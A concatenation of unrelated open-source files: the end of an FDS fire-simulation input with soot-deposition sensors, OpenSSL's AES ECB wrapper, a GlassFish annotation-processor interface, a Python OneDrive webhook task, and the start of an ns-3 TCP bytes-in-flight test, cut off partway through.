&DEVC XB=0.332,0.370,-0.015,-0.014,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-4'/
&DEVC XB=0.333,0.369,-0.016,-0.015,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-5'/
&DEVC XB=0.334,0.368,-0.017,-0.016,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-6'/
&DEVC XB=0.335,0.367,-0.018,-0.017,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-7'/
&DEVC XB=0.336,0.366,-0.019,-0.018,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-8'/
&DEVC XB=0.337,0.365,-0.020,-0.019,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-9'/
&DEVC XB=0.339,0.363,-0.021,-0.020,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-10'/
&DEVC XB=0.340,0.362,-0.022,-0.021,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-11'/
&DEVC XB=0.024,0.068,-0.011,0.000,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-1'/
&DEVC XB=0.025,0.067,-0.012,-0.011,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-2'/
&DEVC XB=0.026,0.066,-0.014,-0.012,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-3'/
&DEVC XB=0.027,0.065,-0.015,-0.014,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-4'/
&DEVC XB=0.028,0.064,-0.016,-0.015,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-5'/
&DEVC XB=0.029,0.063,-0.017,-0.016,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-6'/
&DEVC XB=0.030,0.062,-0.018,-0.017,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-7'/
&DEVC XB=0.031,0.061,-0.019,-0.018,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-8'/
&DEVC XB=0.032,0.060,-0.020,-0.019,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-9'/
&DEVC XB=0.034,0.058,-0.021,-0.020,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-10'/
&DEVC XB=0.035,0.057,-0.022,-0.021,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-1-11'/
&DEVC XB=0.126,0.170,-0.011,0.000,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-1'/
&DEVC XB=0.127,0.169,-0.012,-0.011,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-2'/
&DEVC XB=0.128,0.168,-0.014,-0.012,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-3'/
&DEVC XB=0.129,0.167,-0.015,-0.014,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-4'/
&DEVC XB=0.130,0.166,-0.016,-0.015,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-5'/
&DEVC XB=0.131,0.165,-0.017,-0.016,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-6'/
&DEVC XB=0.132,0.164,-0.018,-0.017,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-7'/
&DEVC XB=0.133,0.163,-0.019,-0.018,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-8'/
&DEVC XB=0.134,0.162,-0.020,-0.019,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-9'/
&DEVC XB=0.136,0.160,-0.021,-0.020,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-10'/
&DEVC XB=0.137,0.159,-0.022,-0.021,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-2-11'/
&DEVC XB=0.227,0.271,-0.011,0.000,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-1'/
&DEVC XB=0.228,0.270,-0.012,-0.011,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-2'/
&DEVC XB=0.229,0.269,-0.014,-0.012,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-3'/
&DEVC XB=0.230,0.268,-0.015,-0.014,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-4'/
&DEVC XB=0.231,0.267,-0.016,-0.015,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-5'/
&DEVC XB=0.232,0.266,-0.017,-0.016,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-6'/
&DEVC XB=0.233,0.265,-0.018,-0.017,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-7'/
&DEVC XB=0.234,0.264,-0.019,-0.018,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-8'/
&DEVC XB=0.235,0.263,-0.020,-0.019,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-9'/
&DEVC XB=0.237,0.261,-0.021,-0.020,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-10'/
&DEVC XB=0.238,0.260,-0.022,-0.021,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-3-11'/
&DEVC XB=0.329,0.373,-0.011,0.000,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-1'/
&DEVC XB=0.330,0.372,-0.012,-0.011,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-2'/
&DEVC XB=0.331,0.371,-0.014,-0.012,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-3'/
&DEVC XB=0.332,0.370,-0.015,-0.014,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-4'/
&DEVC XB=0.333,0.369,-0.016,-0.015,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-5'/
&DEVC XB=0.334,0.368,-0.017,-0.016,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-6'/
&DEVC XB=0.335,0.367,-0.018,-0.017,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-7'/
&DEVC XB=0.336,0.366,-0.019,-0.018,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-8'/
&DEVC XB=0.337,0.365,-0.020,-0.019,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-9'/
&DEVC XB=0.339,0.363,-0.021,-0.020,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-10'/
&DEVC XB=0.340,0.362,-0.022,-0.021,-0.005,-0.005, QUANTITY='DEPOSITION VELOCITY', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='VDEP-4-11'/
&CTRL ID='Sensor 1 Sum',FUNCTION_TYPE='SUM',INPUT_ID='DEP-1-1','DEP-1-2','DEP-1-3','DEP-1-4','DEP-1-5','DEP-1-6','DEP-1-7','DEP-1-8','DEP-1-9','DEP-1-10','DEP-1-11'/
&CTRL ID='Sensor 2 Sum',FUNCTION_TYPE='SUM',INPUT_ID='DEP-2-1','DEP-2-2','DEP-2-3','DEP-2-4','DEP-2-5','DEP-2-6','DEP-2-7','DEP-2-8','DEP-2-9','DEP-2-10','DEP-2-11'/
&CTRL ID='Sensor 3 Sum',FUNCTION_TYPE='SUM',INPUT_ID='DEP-3-1','DEP-3-2','DEP-3-3','DEP-3-4','DEP-3-5','DEP-3-6','DEP-3-7','DEP-3-8','DEP-3-9','DEP-3-10','DEP-3-11'/
&CTRL ID='Sensor 4 Sum',FUNCTION_TYPE='SUM',INPUT_ID='DEP-4-1','DEP-4-2','DEP-4-3','DEP-4-4','DEP-4-5','DEP-4-6','DEP-4-7','DEP-4-8','DEP-4-9','DEP-4-10','DEP-4-11'/
&CTRL ID='Sensor 1 C', FUNCTION_TYPE='MULTIPLY',INPUT_ID='Sensor 1 Sum','CONSTANT',CONSTANT=2./
&CTRL ID='Sensor 2 C', FUNCTION_TYPE='MULTIPLY',INPUT_ID='Sensor 2 Sum','CONSTANT',CONSTANT=2./
&CTRL ID='Sensor 3 C', FUNCTION_TYPE='MULTIPLY',INPUT_ID='Sensor 3 Sum','CONSTANT',CONSTANT=2./
&CTRL ID='Sensor 4 C', FUNCTION_TYPE='MULTIPLY',INPUT_ID='Sensor 4 Sum','CONSTANT',CONSTANT=2./
&CTRL ID='VSensor 1 Sum',FUNCTION_TYPE='SUM',INPUT_ID='VDEP-1-1','VDEP-1-2','VDEP-1-3','VDEP-1-4','VDEP-1-5','VDEP-1-6','VDEP-1-7','VDEP-1-8','VDEP-1-9','VDEP-1-10','VDEP-1-11'/
&CTRL ID='VSensor 2 Sum',FUNCTION_TYPE='SUM',INPUT_ID='VDEP-2-1','VDEP-2-2','VDEP-2-3','VDEP-2-4','VDEP-2-5','VDEP-2-6','VDEP-2-7','VDEP-2-8','VDEP-2-9','VDEP-2-10','VDEP-2-11'/
&CTRL ID='VSensor 3 Sum',FUNCTION_TYPE='SUM',INPUT_ID='VDEP-3-1','VDEP-3-2','VDEP-3-3','VDEP-3-4','VDEP-3-5','VDEP-3-6','VDEP-3-7','VDEP-3-8','VDEP-3-9','VDEP-3-10','VDEP-3-11'/
&CTRL ID='VSensor 4 Sum',FUNCTION_TYPE='SUM',INPUT_ID='VDEP-4-1','VDEP-4-2','VDEP-4-3','VDEP-4-4','VDEP-4-5','VDEP-4-6','VDEP-4-7','VDEP-4-8','VDEP-4-9','VDEP-4-10','VDEP-4-11'/
&CTRL ID='VSensor 1 Avg',FUNCTION_TYPE='DIVIDE',INPUT_ID='VSensor 1 Sum','CONSTANT',CONSTANT=0.000850/
&CTRL ID='VSensor 2 Avg',FUNCTION_TYPE='DIVIDE',INPUT_ID='VSensor 2 Sum','CONSTANT',CONSTANT=0.000850/
&CTRL ID='VSensor 3 Avg',FUNCTION_TYPE='DIVIDE',INPUT_ID='VSensor 3 Sum','CONSTANT',CONSTANT=0.000850/
&CTRL ID='VSensor 4 Avg',FUNCTION_TYPE='DIVIDE',INPUT_ID='VSensor 4 Sum','CONSTANT',CONSTANT=0.000850/
&CTRL ID='Sensor 1 Numer', FUNCTION_TYPE='SUBTRACT',INPUT_ID='Sensor 1 C','Sensor 1 CS'/
&CTRL ID='Sensor 2 Numer', FUNCTION_TYPE='SUBTRACT',INPUT_ID='Sensor 2 C','Sensor 2 CS'/
&CTRL ID='Sensor 3 Numer', FUNCTION_TYPE='SUBTRACT',INPUT_ID='Sensor 3 C','Sensor 3 CS'/
&CTRL ID='Sensor 4 Numer', FUNCTION_TYPE='SUBTRACT',INPUT_ID='Sensor 4 C','Sensor 4 CS'/
&CTRL ID='Denom1',FUNCTION_TYPE='SUBTRACT',INPUT_ID='Time1','Time2'/
&CTRL ID='Denom',FUNCTION_TYPE='SUM',INPUT_ID='Denom1','CONSTANT',CONSTANT=0.0001/
&CTRL ID='Sensor 1 Rate',FUNCTION_TYPE='DIVIDE',INPUT_ID='Sensor 1 Numer','Denom'/
&CTRL ID='Sensor 2 Rate',FUNCTION_TYPE='DIVIDE',INPUT_ID='Sensor 2 Numer','Denom'/
&CTRL ID='Sensor 3 Rate',FUNCTION_TYPE='DIVIDE',INPUT_ID='Sensor 3 Numer','Denom'/
&CTRL ID='Sensor 4 Rate',FUNCTION_TYPE='DIVIDE',INPUT_ID='Sensor 4 Numer','Denom'/
&CTRL ID='Sensor 1 Total',FUNCTION_TYPE='MULTIPLY',INPUT_ID='Sensor 1 Rate','CONSTANT',CONSTANT=1800./
&CTRL ID='Sensor 2 Total',FUNCTION_TYPE='MULTIPLY',INPUT_ID='Sensor 2 Rate','CONSTANT',CONSTANT=1800./
&CTRL ID='Sensor 3 Total',FUNCTION_TYPE='MULTIPLY',INPUT_ID='Sensor 3 Rate','CONSTANT',CONSTANT=1800./
&CTRL ID='Sensor 4 Total',FUNCTION_TYPE='MULTIPLY',INPUT_ID='Sensor 4 Rate','CONSTANT',CONSTANT=1800./
&BNDF QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT'/
&SLCF QUANTITY='TEMPERATURE',CELL_CENTERED=.TRUE.,PBY=0.0/
&SLCF QUANTITY='MASS FRACTION',SPEC_ID='SOOT',CELL_CENTERED=.TRUE.,PBY=0.0/
&SLCF QUANTITY='VELOCITY',VECTOR=.TRUE.,PBY=0.0/
&SLCF QUANTITY='TEMPERATURE',CELL_CENTERED=.TRUE.,PBZ=0.0/
&SLCF QUANTITY='MASS FRACTION',SPEC_ID='SOOT',CELL_CENTERED=.TRUE.,PBZ=0.0/
&SLCF QUANTITY='VELOCITY',VECTOR=.TRUE.,PBZ=0.0/
&TAIL /
|
{
"pile_set_name": "Github"
}
|
/* crypto/aes/aes_ecb.c -*- mode:C; c-file-style: "eay" -*- */
/* ====================================================================
* Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* openssl-core@openssl.org.
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.openssl.org/)"
*
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
*/
#ifndef AES_DEBUG
# ifndef NDEBUG
# define NDEBUG
# endif
#endif
#include <assert.h>
#include <openssl/aes.h>
#include "aes_locl.h"
void AES_ecb_encrypt(const unsigned char *in, unsigned char *out,
const AES_KEY *key, const int enc)
{
assert(in && out && key);
assert((AES_ENCRYPT == enc) || (AES_DECRYPT == enc));
if (AES_ENCRYPT == enc)
AES_encrypt(in, out, key);
else
AES_decrypt(in, out, key);
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 1997, 2018 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
* http://www.eclipse.org/legal/epl-2.0.
*
* This Source Code may also be made available under the following Secondary
* Licenses when the conditions for such availability set forth in the
* Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
* version 2 with the GNU Classpath Exception, which is available at
* https://www.gnu.org/software/classpath/license.html.
*
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
package org.glassfish.apf;
import java.lang.annotation.Annotation;
import java.lang.annotation.ElementType;
import java.lang.reflect.AnnotatedElement;
import java.util.logging.Level;
/**
* <p>
* The annotation processor is the core engine to process annotations.
* All the processing configuration (input classes, error handlers, etc...)
* is provided by the ProcessingContext which can be either created from the
* createContext method or through another mean. Once the ProcessingContext has
* been initialized, it is passed to the process(ProcessingContext ctx) method which
* triggers the annotation processing.
* </p>
*
* <p>
* Each class accessible from the ProcessingContext.getInputScanner instance, will be
* scanned for annotations.
* Each annotation will then be processed by invoking the corresponding AnnotationHandler
* from its annotation type.
* </p>
*
* <p>
* The AnnotationProcessor can be configured by using the pushAnnotationHandler and
* popAnnotationHandler which allow new AnnotationHandler instances to be registered and
* unregistered for a particular annotation type.
* </p>
*
* <p>
* Even without reconfiguring the AnnotationProcessor instance with the above
* configuration methods, the AnnotationProcessor implementation cannot guarantee
* to be thread safe, therefore, it is encouraged the make instanciation cheap
* and users should not use the same instance concurrently.
* </p>
*
* @author Jerome Dochez
*/
public interface AnnotationProcessor {
/**
* Creates a new empty ProcessingContext instance which can be configured
* before invoking the process() method.
* @return an empty ProcessingContext
*/
public ProcessingContext createContext();
/**
* Starts the annotation processing tool passing the processing context which
* encapuslate all information necessary for the configuration of the tool.
* @param ctx is the initialized processing context
* @return the result of the annoations processing
*/
public ProcessingResult process(ProcessingContext ctx) throws AnnotationProcessorException;
/**
* Process a set of classes from the parameter list rather than from the
* processing context. This allow the annotation handlers to call be the
* annotation processing tool when classes need to be processed in a
* particular context rather than when they are picked up by the scanner.
*
* @param the processing context
* @param the list of classes to process
* @return the processing result for such classes
* @throws AnnotationProcessorException if handlers fail to process
* an annotation
*/
public ProcessingResult process(ProcessingContext ctx, Class[] classes)
throws AnnotationProcessorException;
/**
* Registers a new AnnotationHandler for a particular annotation type. New annotation handler
* are pushed on a List of annotation handlers for that particular annotation type, the last
* annotation handler to be registered will be invoked first and so on.
* The annotation type handled by the AnnotationHandler instance is defined
* by the getAnnotationType() method of the AnnotationHandler instance
*
* @param type the annotation type
* @param handler the annotation handler instance
*/
public void pushAnnotationHandler(AnnotationHandler handler);
/**
* @return the top annotation handler for a particular annotation type
* @param type the annotation type
*/
public AnnotationHandler getAnnotationHandler(Class<? extends Annotation> type);
/**
* Unregisters the last annotation handler registered for an annotation type.
* @param type the annotation type.
*/
public void popAnnotationHandler(Class<? extends Annotation> type);
/**
* @return the most recent AnnotatedElement being processed which type is of the
* given ElementType or null if there is no such element in the stack of
* processed annotation elements.
*/
public AnnotatedElement getLastAnnotatedElement(ElementType type);
/**
* Log a message on the default logger
*/
public void log(Level level, AnnotationInfo locator, String localizedMessage);
}
|
{
"pile_set_name": "Github"
}
|
from datetime import datetime, timedelta
import logging
import onedrivesdk
import onedrivesdk.error
from .base import TaskBase
from .. import od_api_helper
class UpdateSubscriptionTask(TaskBase):
def __init__(self, repo, task_pool, webhook_worker, subscription_id=None):
"""
:param onedrived.od_repo.OneDriveLocalRepository repo:
:param onedrived.od_task.TaskPool | None task_pool:
:param onedrived.od_webhook.WebhookWorkerThread webhook_worker:
:param str | None subscription_id:
"""
super().__init__(repo, task_pool)
self.webhook_worker = webhook_worker
self.subscription_id = subscription_id
def handle(self):
logging.info('Updating webhook for Drive %s.', self.repo.drive.id)
item_request = self.repo.authenticator.client.item(drive=self.repo.drive.id, path='/')
expiration_time = datetime.utcnow() + timedelta(seconds=self.repo.context.config['webhook_renew_interval_sec'])
try:
if self.subscription_id is None:
subscription = od_api_helper.create_subscription(
item_request, self.repo, self.webhook_worker.webhook_url, expiration_time)
else:
subscription = onedrivesdk.Subscription()
subscription.id = self.subscription_id
subscription.notification_url = self.webhook_worker.webhook_url
subscription.expiration_date_time = expiration_time
subscription = od_api_helper.item_request_call(
self.repo, item_request.subscriptions[self.subscription_id].update, subscription)
self.webhook_worker.add_subscription(subscription, self.repo)
logging.info('Webhook for Drive %s updated.', self.repo.drive.id)
return subscription
except onedrivesdk.error.OneDriveError as e:
logging.error('Error: %s', e)
return None
|
{
"pile_set_name": "Github"
}
|
/* -*- Mode: C++; c-file-style: "gnu"; indent-tabs-mode:nil; -*- */
/*
* Copyright (c) 2016 Natale Patriciello <natale.patriciello@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation;
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
#include "tcp-general-test.h"
#include "ns3/node.h"
#include "ns3/log.h"
#include "ns3/config.h"
#include "tcp-error-model.h"
using namespace ns3;
NS_LOG_COMPONENT_DEFINE ("TcpBytesInFlightTestSuite");
/**
* \ingroup internet-test
* \ingroup tests
*
* \brief Check the value of BytesInFlight against a home-made guess
*
* The guess is made wrt to segments that travel the network; we have,
* in theory, the possibility to know the real amount of bytes in flight. However
* this value is useless, since the sender bases its guess on the received ACK.
*
* \see Tx
* \see BytesInFlightTrace
*/
class TcpBytesInFlightTest : public TcpGeneralTest
{
public:
/**
* \brief Constructor.
* \param desc Description.
* \param toDrop Packets to drop.
*/
TcpBytesInFlightTest (const std::string &desc, std::vector<uint32_t> &toDrop);
protected:
/**
* \brief Create a receiver error model.
* \returns The receiver error model.
*/
virtual Ptr<ErrorModel> CreateReceiverErrorModel ();
/**
* \brief Receive a packet.
* \param p The packet.
* \param h The TCP header.
* \param who Who the socket belongs to (sender or receiver).
*/
virtual void Rx (const Ptr<const Packet> p, const TcpHeader&h, SocketWho who);
/**
* \brief Transmit a packet.
* \param p The packet.
* \param h The TCP header.
* \param who Who the socket belongs to (sender or receiver).
*/
virtual void Tx (const Ptr<const Packet> p, const TcpHeader&h, SocketWho who);
/**
* \brief Track the bytes in flight.
* \param oldValue previous value.
* \param newValue actual value.
*/
virtual void BytesInFlightTrace (uint32_t oldValue, uint32_t newValue);
/**
* \brief Called when a packet is dropped.
* \param ipH The IP header.
* \param tcpH The TCP header.
* \param p The packet.
*/
void PktDropped (const Ipv4Header &ipH, const TcpHeader& tcpH, Ptr<const Packet> p);
/**
* \brief Configure the test.
*/
void ConfigureEnvironment ();
/**
* \brief Do the checks before the RTO expires.
* \param tcb The TcpSocketState.
* \param who The socket.
*/
void BeforeRTOExpired (const Ptr<const TcpSocketState> tcb, SocketWho who);
/**
* \brief Update when RTO expires
* \param oldVal old time value
* \param newVal new time value
*/
void RTOExpired (Time oldVal, Time newVal);
/**
* \brief Do the final checks.
*/
void FinalChecks ();
private:
uint32_t m_guessedBytesInFlight; //!< Guessed bytes in flight.
uint32_t m_dupAckRecv; //!< Number of DupACKs received.
SequenceNumber32 m_lastAckRecv; //!< Last ACK received.
SequenceNumber32 m_greatestSeqSent; //!< greatest sequence number sent.
std::vector<uint32_t> m_toDrop; //!< List of SequenceNumber to drop
};
TcpBytesInFlightTest::TcpBytesInFlightTest (const std::string &desc,
std::vector<uint32_t> &toDrop)
: TcpGeneralTest (desc),
m_guessedBytesInFlight (0),
m_dupAckRecv (0),
m_lastAckRecv (1),
m_greatestSeqSent (0),
m_toDrop (toDrop)
{
}
void
TcpBytesInFlightTest::ConfigureEnvironment ()
{
TcpGeneralTest::ConfigureEnvironment ();
SetAppPktCount (30);
SetPropagationDelay (MilliSeconds (50));
SetTransmitStart (Seconds (2.0));
Config::SetDefault ("ns3::TcpSocketBase::Sack", BooleanValue (false));
}
Ptr<ErrorModel>
TcpBytesInFlightTest::CreateReceiverErrorModel ()
{
Ptr<TcpSeqErrorModel> m_errorModel = CreateObject<TcpSeqErrorModel> ();
for (std::vector<uint32_t>::iterator it = m_toDrop.begin (); it != m_toDrop.end (); ++it)
{
m_errorModel->AddSeqToKill (SequenceNumber32 (*it));
}
m_errorModel->SetDropCallback (MakeCallback (&TcpBytesInFlightTest::PktDropped, this));
return m_errorModel;
}
void
TcpBytesInFlightTest::BeforeRTOExpired (const Ptr<const TcpSocketState> tcb, SocketWho who)
{
NS_LOG_DEBUG ("Before RTO for " << who);
GetSenderSocket ()->TraceConnectWithoutContext ("RTO", MakeCallback (&TcpBytesInFlightTest::RTOExpired, this));
}
void
TcpBytesInFlightTest::RTOExpired (Time oldVal, Time newVal)
{
NS_LOG_DEBUG ("RTO expired at " << newVal.GetSeconds ());
m_guessedBytesInFlight = 0;
}
void
TcpBytesInFlightTest::PktDropped (const Ipv4Header &ipH, const TcpHeader &tcpH,
Ptr<const Packet> p)
{
NS_LOG_DEBUG ("Drop seq= " << tcpH.GetSequenceNumber () << " size " << p->GetSize ());
}
void
TcpBytesInFlightTest::Rx (const Ptr<const Packet> p, const TcpHeader &h, SocketWho who)
{
if (who == RECEIVER)
{
}
else if (who == SENDER)
{
if (h.GetAckNumber () > m_lastAckRecv)
{ // New ack
uint32_t diff = h.GetAckNumber () - m_lastAckRecv;
NS_LOG_DEBUG ("Recv ACK=" << h.GetAckNumber ());
if (m_dupAckRecv > 0)
{ // Previously we got some ACKs
if (h.GetAckNumber () >= m_greatestSeqSent)
{ // This an ACK which acknowledge all the window
m_guessedBytesInFlight = 0; // All outstanding data acked
diff = 0;
m_dupAckRecv = 0;
}
else
{
// Partial ACK: Update the dupAck received count
m_dupAckRecv -= diff / GetSegSize (SENDER);
// During fast recovery the TCP data sender respond to a partial acknowledgment
// by inferring that the next in-sequence packet has been lost (RFC5681)
m_guessedBytesInFlight -= GetSegSize (SENDER);
}
}
